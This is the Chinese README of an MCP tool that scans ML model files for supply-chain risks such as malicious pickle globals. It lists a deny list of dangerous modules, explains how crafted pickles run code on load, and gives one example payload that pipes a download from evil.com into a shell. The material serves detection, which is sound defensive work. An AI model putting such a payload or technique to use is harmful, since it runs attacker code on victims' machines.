model-scanner

@guardbee/mcp-model-scanner

🇬🇧 English | 🇹🇷 Türkçe | 🇨🇳 中文 | 🇯🇵 日本語 | 🇰🇷 한국어 | 🇧🇷 Português | 🇪🇸 Español | 🇩🇪 Deutsch

一个 MCP（Model Context Protocol）服务，用于扫描 ML 模型文件中的供应链风险——检查的是文件本身，而不是加载文件的代码。

大多数“AI 安全”工具会检查集成代码或其中传递的提示词。而此软件包检查的是你（或队友，或通过 pip install）从 Hugging Face、注册表或 S3 存储桶下载的制品：.pt/.pth/.pkl 检查点是一个 pickle 文件，反序列化 pickle 不只是数据反序列化——文件加载时即可调用任意 Python 代码（torch.load()、pickle.load() 等）。恶意检查点是真实存在且有充分记录的攻击途径，并非假设情形。

默认情况下，遥测功能关闭。设置 GUARDBEE_TELEMETRY=1 后，它会发送服务、工具、成功状态、耗时和较短的参数值（例如文件路径）；较长的字符串以及 content、token 或 password 等字段会替换为占位符。请参阅 @guardbee/mcp-telemetry。

Claude ──► model-scanner ──► Your model files
              │
              ├─ .pt / .pth / .ckpt   → PyTorch zip container: extract data.pkl, disassemble
              ├─ .pkl / .pickle / .bin → raw pickle stream, disassemble directly
              ├─ .safetensors         → header structure + disguised-binary check
              ├─ .h5 / .hdf5 / .keras → Keras Lambda-layer RCE heuristic
              └─ .onnx                → external_data path-traversal heuristic

---

为什么 pickle 是核心

Pickle 流是微型栈式虚拟机的字节码。GLOBAL/STACK_GLOBAL 操作码可以指定任意可导入的 Python 对象；紧接着的操作码通常会调用它。没有任何机制能阻止精心构造的 pickle 指定 os.system 或 subprocess.Popen，而不是用于重建张量的函数——pickle.load()/torch.load() 会直接解析并调用它。这正是 picklescan/fickling/Hugging Face 的 Picklescan 集成等工具所采用的技术。

此软件包从头实现了 pickle 操作码反汇编器（支持协议 0–5，包括协议 4+ 使用的较新 STACK_GLOBAL 编码），而不是调用 Python 或使用正则表达式——必须逐字节正确遍历操作码流，才能确定每个 GLOBAL 引用的实际位置；对原始字节使用正则表达式则会不断漏检和误报。

发现的每个 GLOBAL/STACK_GLOBAL/INST 引用都会根据以下规则检查：

• 拒绝列表：在张量反序列化路径中没有正当理由出现的模块（os、subprocess、socket、builtins.eval、ctypes，……）→ 报告为严重/高危
• 允许列表：真实 ML 框架实际引用的模块（numpy、torch、sklearn、collections，……）→ 视为安全，不产生告警
• 其他任何模块 → 报告为中危（“未知”，而非“恶意”——供人工审核，同时降低误报率）

对于 PyTorch 默认的基于 ZIP 的检查点格式，扫描器会直接从磁盘读取 ZIP 中央目录（支持 Zip64），以定位并提取较小的 data.pkl 元数据条目——它绝不会将数 GB 的检查点完整加载到内存中。

---

功能

• 真正的 pickle 操作码反汇编 — 不是正则表达式，也不会调用 Python 子进程
• 31 条危险全局对象规则，涵盖 6 个风险类别（代码执行、进程执行、网络、文件系统、反射、反序列化）
• 支持 PyTorch zip 容器（包括 Zip64）— 无需加载完整检查点，即可提取并扫描 data.pkl
• .safetensors 结构验证 — 检查格式错误或越界的标头，并检测伪装成 .safetensors 文件的 pickle/zip
• Keras .h5/.keras Lambda 层 RCE 启发式检测
• ONNX external_data 路径遍历启发式检测
• 全程限制读取量（pickle 前缀 10MB、safetensors 标头上限 100MB、zip 条目上限 50MB）— 可防范解压炸弹，也不会因大型模型文件导致内存溢出
• SARIF 2.1.0 输出 — 集成 CI/CD（GitHub Code Scanning 等）
• 通过 guardbee.yml 支持配置文件
• 45 项单元测试，并针对由真实 CPython pickle 和 zipfile 生成的测试样本进行端到端验证（不仅限于手工构造的样本）

---

快速开始

Claude Desktop / MCP 客户端

{
  "mcpServers": {
    "guardbee-model-scanner": {
      "command": "npx",
      "args": ["-y", "@guardbee/mcp-model-scanner"]
    }
  }
}

CLI（CI/CD）

npx @guardbee/mcp-model-scanner scan ./models --fail-on=high --format=sarif > results.sarif

---

MCP 工具

工具	说明
scan_file	扫描单个模型文件
scan_directory	递归扫描目录中的模型文件
list_patterns	按风险类别列出危险全局对象目录

---

可检测的问题

格式	检查项	严重性	示例
pickle / PyTorch	引用 os、posix、nt、subprocess、socket、ctypes、runpy、pty.spawn、platform.popen、commands	严重	os.system('curl evil.com/x | sh')
pickle / PyTorch	builtins.eval/exec/compile/__import__、pickle.loads、marshal.loads	严重	递归/嵌套载荷，或直接调用 eval
pickle / PyTorch	builtins.getattr/open、shutil.*、importlib.*、requests.*、webbrowser.open、urllib*.urlopen	高	数据外泄、SSRF、文件读写
safetensors	标头以 pickle/zip 签名开头，而非长度值	严重	将 .pkl 文件改名为 .safetensors
safetensors	张量的 data_offsets 超出实际数据区	高	解析器读取越界
safetensors	标头长度无效或过大、标头不是 JSON 格式	高	标头损坏或经恶意构造
Keras .h5/.keras	模型配置中存在 class_name: "Lambda"	严重	加载时发生编组函数 RCE
ONNX	external_data 的 location 含有 ..	高	路径遍历至任意文件

完整的危险全局对象目录：运行 list_patterns 工具，或查看 src/dangerousGlobals.ts。

这些是启发式检测结果，经过调优以降低误报率 — 尤其是 HDF5 和 ONNX，它们是复杂的二进制/protobuf 格式，采用有界文本模式搜索，而非完整结构解析。仍应逐项审查所有检测结果；扫描未发现问题并不构成正式的安全性证明。

---

配置（guardbee.yml）

model-scanner:
  fail-on: high       # any | critical | high | medium | low | none
  max-files: 2000
  exclude:
    - "fixtures/"

---

限制（设计如此）

• 对原始（非 zip）pickle 流仅扫描前 10MB — pickle 流中的危险全局对象必须先于其实例被引用，因此与将大型旧版检查点完整加载到内存相比，这一限制是合理的折中。
• ZIP 提取仅支持 STORED 和 DEFLATE（涵盖 PyTorch 默认检查点格式）。
• HDF5/ONNX 检查基于有界前缀进行模式匹配，不会完整解析结构/protobuf。
• 扫描对象是文件，而非运行时行为 — 不会执行或沙箱化任何内容。

---

开发

npm run build
npm test             # 45 unit tests

---

许可证

MIT — GuardBee

反馈

有问题、想法或遇到误报？请在 GitHub 讨论区中发起讨论，或提交问题。如果 GuardBee 对你有帮助，可以在代码仓库点个 ⭐，帮助其他人找到它。